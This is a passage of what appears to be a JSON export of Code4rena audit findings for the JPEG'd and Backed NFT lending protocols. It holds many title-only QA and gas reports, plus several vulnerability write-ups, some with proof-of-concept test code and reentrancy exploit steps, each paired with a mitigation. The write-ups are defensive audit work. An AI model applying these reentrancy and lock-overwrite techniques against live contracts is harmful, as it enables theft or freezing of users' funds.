withdraw his locked JPEGs, resulting in permanent lock up of JPEG in the locker contract. ## Proof of Concept 1. `user` successfully proposes and finalizes a proposal to change his NFT\u2019s collateral value 2. Another user (`owner`) does the same for the same NFT index 3. `user` will be unable to withdraw his locked JPEG because schedule has been overwritten Insert this test case into [`NFTVault.ts`](https://github.com/code-423n4/2022-04-jpegd/blob/main/tests/NFTVault.ts). ```jsx it.only(\"will overwrite existing user's JPEG lock schedule\", async () => { // 0. setup const index = 7000; await erc721.mint(user.address, index); await nftVault .connect(dao) .setPendingNFTValueETH(index, units(50)); await jpeg.transfer(user.address, units(150000)); await jpeg.connect(user).approve(locker.address, units(500000)); await jpeg.connect(owner).approve(locker.address, units(500000)); // 1. user has JPEG locked for finalization await nftVault.connect(user).finalizePendingNFTValueETH(index); // 2. owner submit proposal to further increase NFT value await nftVault .connect(dao) .setPendingNFTValueETH(index, units(100)); // 3. owner finalizes, has JPEG locked await nftVault.connect(owner).finalizePendingNFTValueETH(index); // user schedule has been overwritten let schedule = await locker.positions(index); expect(schedule.owner).to.equal(owner.address); // user tries to unstake // wont be able to because schedule was overwritten await timeTravel(days(366)); await expect(locker.connect(user).unlock(index)).to.be.revertedWith(\"unauthorized\"); }); ``` ## Recommended Mitigation Steps 1. Release the tokens of the existing schedule. Simple and elegant. ```jsx // in JPEGLock#lockFor() LockPosition memory existingPosition = positions[_nftIndex]; if (existingPosition.owner != address(0)) { // release jpegs to existing owner jpeg.safeTransfer(existingPosition.owner, existingPosition.lockAmount); } ``` 2. Revert in `finalizePendingNFTValueETH()` there is an existing lock schedule. This is less desirable IMO, as there is a use-case for increasing / decreasing the NFT value. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/6", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Chainlink pricer is using a deprecated API", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/PriceOracleImplementation.sol#L29-L30 # Vulnerability details ## Impact According to Chainlink's documentation, the latestAnswer function is deprecated. This function might suddenly stop working if Chainlink stop supporting deprecated APIs. And the old API can return stale data. ## Proof of Concept https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/PriceOracleImplementation.sol#L29-L30 ## Tools Used None ## Recommended Mitigation Steps Use the latestRoundData function to get the price instead. Add checks on the return data with proper revert messages if the price is stale or the round is uncomplete https://docs.chain.link/docs/price-feeds-api-reference/ "}, {"title": "When _lpToken is jpeg, reward calculation is incorrect", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/1", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/farming/LPFarming.sol#L141-L154 # Vulnerability details ## Impact In the LPFarming contract, a new staking pool can be added using the add() function. The staking token for the new pool is defined using the _lpToken variable. However, there is no additional checking whether the _lpToken is the same as the reward token (jpeg) or not. ``` function add(uint256 _allocPoint, IERC20 _lpToken) external onlyOwner { _massUpdatePools(); uint256 lastRewardBlock = _blockNumber(); totalAllocPoint = totalAllocPoint + _allocPoint; poolInfo.push( PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accRewardPerShare: 0 }) ); } ``` When the _lpToken is the same token as jpeg, reward calculation for that pool in the updatePool() function can be incorrect. This is because the current balance of the _lpToken in the contract is used in the calculation of the reward. Since the _lpToken is the same token as the reward, the reward minted to the contract will inflate the value of lpSupply, causing the reward of that pool to be less than what it should be. ``` function _updatePool(uint256 _pid) internal { PoolInfo storage pool = poolInfo[_pid]; if (pool.allocPoint == 0) { return; } uint256 blockNumber = _blockNumber(); //normalizing the pool's `lastRewardBlock` ensures that no rewards are distributed by staking outside of an epoch uint256 lastRewardBlock = _normalizeBlockNumber(pool.lastRewardBlock); if (blockNumber <= lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = blockNumber; return; } uint256 reward = ((blockNumber - lastRewardBlock) * epoch.rewardPerBlock * 1e36 * pool.allocPoint) / totalAllocPoint; pool.accRewardPerShare = pool.accRewardPerShare + reward / lpSupply; pool.lastRewardBlock = blockNumber; } ``` ## Proof of Concept https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/farming/LPFarming.sol#L141-L154 https://github.com/code-423n4/2022-04-jpegd/blob/main/contracts/farming/LPFarming.sol#L288-L311 ## Tools Used None ## Recommended Mitigation Steps Add a check that _lpToken is not jpeg in the add function or mint the reward token to another contract to prevent the amount of the staked token from being mixed up with the reward token. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/128", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/123", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/119", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/110", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/109", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/107", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/104", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/103", "labels": ["bug", "duplicate", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/101", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/94", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/93", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/92", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "When an attacker lends to a loan, the attacker can trigger DoS that any lenders can not buyout it", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/89", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/main/contracts/NFTLoanFacilitator.sol#L205-L208 https://github.com/code-423n4/2022-04-backed/blob/main/contracts/NFTLoanFacilitator.sol#L215-L218 # Vulnerability details ## Impact If an attacker (lender) lends to a loan, the attacker can always revert transactions when any lenders try to buyout, making anyone can not buyout the loan of the attacker. ## Proof of Concept 1. A victim calls `lend()`, trying to buyout the loan of the attacker. 2. In `lend()`, it always call `ERC20(loanAssetContractAddress).safeTransfer` to send `accumulatedInterest + previousLoanAmount` to `currentLoanOwner` (attacker). 3. If the `transfer` of `loanAssetContractAddress` is ERC777, it will call `_callTokensReceived` that the attacker can manipulate and always revert it. 4. Because `NFTLoanFacilitator` uses `safeTransfer` and `safeTransferFrom` to check return value, the transaction of the victim will also be reverted. It makes anyone can not buyout the loan of the attacker. In `_callTokensReceived`, the attacker just wants to revert the buyout transaction, but keep `repayAndCloseLoan` successful. The attacker can call `loanInfoStruct(uint256 loanId)` in `_callTokensReceived` to check if the value of `loanInfo` is changed or not to decide to revert it. ## Tools Used vim ## Recommended Mitigation Steps Don't transfer `ERC20(loanAssetContractAddress)` to `currentLoanOwner` in `lend()`, use a global mapping to record redemption of lenders and add an external function `redeem` for lenders to transfer `ERC20(loanAssetContractAddress)`. "}, {"title": "currentLoanOwner can manipulate loanInfo when any lenders try to buyout", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/88", "labels": ["bug", "help wanted", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/main/contracts/NFTLoanFacilitator.sol#L205-L208 https://github.com/code-423n4/2022-04-backed/blob/main/contracts/NFTLoanFacilitator.sol#L215-L218 # Vulnerability details ## Impact If an attacker already calls `lend()` to lend to a loan, the attacker can manipulate `loanInfo` by reentrancy attack when any lenders try to buyout. The attacker can set bad values of `lendInfo` (e.g. very long duration, and 0 interest rate) that the lender who wants to buyout don't expect. ## Proof of Concept An attacker lends a loan, and `loanAssetContractAddress` in `loanInfo` is ERC777 which is suffering from reentrancy attack. When a lender (victim) try to buyout the loan of the attacker: 1. The victim called `lend()`. 2. In `lend()`, it always call `ERC20(loanAssetContractAddress).safeTransfer` to send `accumulatedInterest + previousLoanAmount` to `currentLoanOwner` (attacker). 3. The `transfer` of `loanAssetContractAddress` ERC777 will call `_callTokensReceived` so that the attacker can call `lend()` again in reentrancy with parameters: * loanId: same loan Id * interestRate: set to bad value (e.g. 0) * amount: same amount * durationSeconds: set to bad value (e.g. a long durationSeconds) * sendLendTicketTo: same address of the attacker (`currentLoanOwner`) 4. Now the variables in `loanInfo` are changed to bad value, and the victim will get the lend ticket but the loan term is manipulated, and can not set it back (because it requires a better term). ## Tools Used vim ## Recommended Mitigation Steps Use `nonReentrant` modifier on `lend()` to prevent reentrancy attack: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Borrower can be their own lender and steal funds from buyout due to reentrancy", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/85", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L214-L221 https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L230-L250 # Vulnerability details ## Impact If borrower lends their own loan, they can repay and close the loan before ownership of the lend ticket is transferred to the new lender. The borrower will keep the NFT + loan amount + accrued interest. ## Proof of Concept This exploit requires that the `loanAssetContractAddress` token transfers control to the receiver. ### Steps of exploit: - Borrower creates loan with `createLoan()`. - The same Borrower calls `lend()`, funding their own loan. The Borrower receives the lend ticket, and funds are transferred to themself. - A new lender attempts to buy out the loan. The original loan amount + accruedInterest are sent to the original lender (same person as borrower). - Due to lack of checks-effects-interactions pattern, the borrower is able to immediately call `repayAndCloseLoan()` before the lend ticket is transferred to the new lender. The following code illustrates that the new lender sends funds to the original lender prior to receiving the lend ticket in return. ``` } else { ERC20(loan.loanAssetContractAddress).safeTransferFrom( msg.sender, currentLoanOwner, accumulatedInterest + previousLoanAmount ); } ILendTicket(lendTicketContract).loanFacilitatorTransfer(currentLoanOwner, sendLendTicketTo, loanId); ``` The original lender/borrower calls the following `repayAndCloseLoan()` function so that they receive their collateral NFT from the protocol. ``` function repayAndCloseLoan(uint256 loanId) external override notClosed(loanId) { Loan storage loan = loanInfo[loanId]; uint256 interest = _interestOwed( loan.loanAmount, loan.lastAccumulatedTimestamp, loan.perAnumInterestRate, loan.accumulatedInterest ); address lender = IERC721(lendTicketContract).ownerOf(loanId); loan.closed = true; ERC20(loan.loanAssetContractAddress).safeTransferFrom(msg.sender, lender, interest + loan.loanAmount); IERC721(loan.collateralContractAddress).safeTransferFrom( address(this), IERC721(borrowTicketContract).ownerOf(loanId), loan.collateralTokenId ); emit Repay(loanId, msg.sender, lender, interest, loan.loanAmount); emit Close(loanId); } ``` Finally, the new lender receives the lend ticket that has no utility at this point. The borrower now possesses the NFT, original loan amount, and accrued interest. ## Tools Used Manual review. ## Recommended Mitigation Steps Move the line to transfer the lend ticket to the new lender above the line to transfer to funds to the original lender. Or, use reentrancyGuard from OpenZeppelin to remove the risk of reentrant calls completely. If desired, also require that the lender cannot be the same account as the borrower of a loan. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "`sendCollateralTo` is unchecked in `closeLoan()`, which can cause user's collateral NFT to be frozen", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/83", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "`sendCollateralTo` is unchecked in `closeLoan()`, which can cause user's collateral NFT to be frozen"}, {"title": "`mintBorrowTicketTo` can be a contract with no `onERC721Received` method, which may cause the BorrowTicket NFT to be frozen and put users' funds at risk", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/81", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "`mintBorrowTicketTo` can be a contract with no `onERC721Received` method, which may cause the BorrowTicket NFT to be frozen and put users' funds at risk"}, {"title": "`requiredImprovementRate` can not work as expected when `previousInterestRate` less than 10 due to precision loss", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/80", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L167-L179 # Vulnerability details https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L167-L179 ```solidity { uint256 previousInterestRate = loan.perAnumInterestRate; uint256 previousDurationSeconds = loan.durationSeconds; require(interestRate <= previousInterestRate, 'NFTLoanFacilitator: rate too high'); require(durationSeconds >= previousDurationSeconds, 'NFTLoanFacilitator: duration too low'); require((previousLoanAmount * requiredImprovementRate / SCALAR) <= amountIncrease || previousDurationSeconds + (previousDurationSeconds * requiredImprovementRate / SCALAR) <= durationSeconds || (previousInterestRate != 0 // do not allow rate improvement if rate already 0 && previousInterestRate - (previousInterestRate * requiredImprovementRate / SCALAR) >= interestRate), \"NFTLoanFacilitator: proposed terms must be better than existing terms\"); } ``` The `requiredImprovementRate` represents the percentage of improvement required of at least one of the terms when buying out from a previous lender. However, when `previousInterestRate` is less than `10` and `requiredImprovementRate` is `100`, due to precision loss, the new `interestRate` is allowed to be the same as the previous one. Making such an expected constraint absent. ### PoC 1. Alice `createLoan()` with `maxPerAnumInterest` = 10, received `loanId` = 1 2. Bob `lend()` with `interestRate` = 9 for `loanId` = 1 3. Charlie `lend()` with `interestRate` = 9 (and all the same other terms with Bob) and buys out `loanId` = 1 Charlie is expected to provide at least 10% better terms, but actually bought out Bob with the same terms. ### Recommendation Consider using: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.5.0/contracts/utils/math/Math.sol#L39-L42 And change the check to: ```solidity (previousInterestRate != 0 // do not allow rate improvement if rate already 0 && previousInterestRate - Math.ceilDiv(previousInterestRate * requiredImprovementRate, SCALAR) >= interestRate) ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/79", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/77", "labels": ["bug", "duplicate", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/76", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "Protocol doesn't handle fee on transfer tokens", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/75", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L155-L160 # Vulnerability details ## Impact Since the borrower is able to specify any asset token, it is possible that loans will be created with tokens that support fee on transfer. If a fee on transfer asset token is chosen, the protocol will contain a point of failure on the original `lend()` call. It is my belief that this is a medium severity vulnerability due to its ability to impact core protocol functionality. ## Proof of Concept For the first lender to call `lend()`, if the transfer fee % of the asset token is larger than the origination fee %, the second transfer will fail in the following code: ``` ERC20(loanAssetContractAddress).safeTransferFrom(msg.sender, address(this), amount); uint256 facilitatorTake = amount * originationFeeRate / SCALAR; ERC20(loanAssetContractAddress).safeTransfer( IERC721(borrowTicketContract).ownerOf(loanId), amount - facilitatorTake ); ``` Example: - `originationFee = 2%` Max fee is 5% per comments - `feeOnTransfer = 3%` - `amount = 100 tokens` - Lender transfers `amount` - `NFTLoanFacilitator` receives `97`. - `facilitatorTake = 2` - `NFTLoanFacilitator` attempts to send `100 - 2` to borrower, but only has `97`. - Execution reverts. ### Other considerations: If the originationFee is less than or equal to the transferFee, the transfers will succeed but will be received at a loss for the borrower and lender. Specifically for the lender, it might be unwanted functionality for a lender to lend 100 and receive 97 following a successful repayment (excluding interest for this example). ## Tools Used Manual review. ## Recommended Mitigation Steps Since the `originationFee` is calculated based on the `amount` sent by the lender, this calculation will always underflow given the example above. Instead, a potential solution would be to calculate the `originationFee` based on the requested loan amount, allowing the lender to send a greater value so that `feeOnTransfer <= originationFee`. Oppositely, the protocol can instead calculate the amount received from the initial transfer and use this amount to calculate the `originationFee`. The issue with this option is that the borrower will receive less than the desired loan amount. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/67", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/65", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/63", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/62", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/61", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/55", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/53", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)", "resolved", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/47", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/46", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/44", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/35", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/32", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/31", "labels": ["bug", "help wanted", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Might not get desired min loan amount if `_originationFeeRate` changes", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/28", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L309 # Vulnerability details ## Impact Admins can update the origination fee by calling `updateOriginationFeeRate`. Note that a borrower does not receive their `minLoanAmount` set in `createLoan`, they only receive `(1 - originationFee) * minLoanAmount`, see [`lend`](https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L159). Therefore, they need to precalculate the `minLoanAmount` using the **current** origination fee to arrive at the post-fee amount that they actually receive. If admins then increase the fee, the borrower receives fewer funds than required to cover their rent and might become homeless. ## Recommended Mitigation Steps Reconsider how the min loan amount works. Imo, this `minLoanAmount` should be the post-fee amount, not the pre-fee amount. It's also more intuitive for the borrower when creating the loan. "}, {"title": "Borrowers lose funds if they call `repayAndCloseLoan` instead of `closeLoan`", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "# Lines of code https://github.com/code-423n4/2022-04-backed/blob/e8015d7c4b295af131f017e646ba1b99c8f608f0/contracts/NFTLoanFacilitator.sol#L241 # Vulnerability details ## Impact The `repayAndCloseLoan` function does not revert if there has not been a lender for a loan (matched with `lend`). Users should use `closeLoan` in this case but the contract should disallow calling `repayAndCloseLoan` because users can lose funds. It performs a `ERC20(loan.loanAssetContractAddress).safeTransferFrom(msg.sender, lender, interest + loan.loanAmount)` call where `interest` will be a high value accumulated from timestamp 0 and the `loan.loanAmount` is the initially desired min loan amount `minLoanAmount` set in `createLoan`. The user will lose these funds if they ever approved the contract (for example, for another loan). ## Recommended Mitigation Steps Add a check that there actually is something to repay. ```solidity require(loan.lastAccumulatedTimestamp > 0, \"loan was never matched by a lender. use closeLoan instead\"); ``` "}, {"title": "Can force borrower to pay huge interest", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/24", "labels": ["bug", "enhancement", "3 (High Risk)", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "Can force borrower to pay huge interest"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/22", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/20", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/10", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/7", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "sponsor disputed"], "target": "2022-04-backed-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-backed-findings/issues/6", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-04-backed-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": 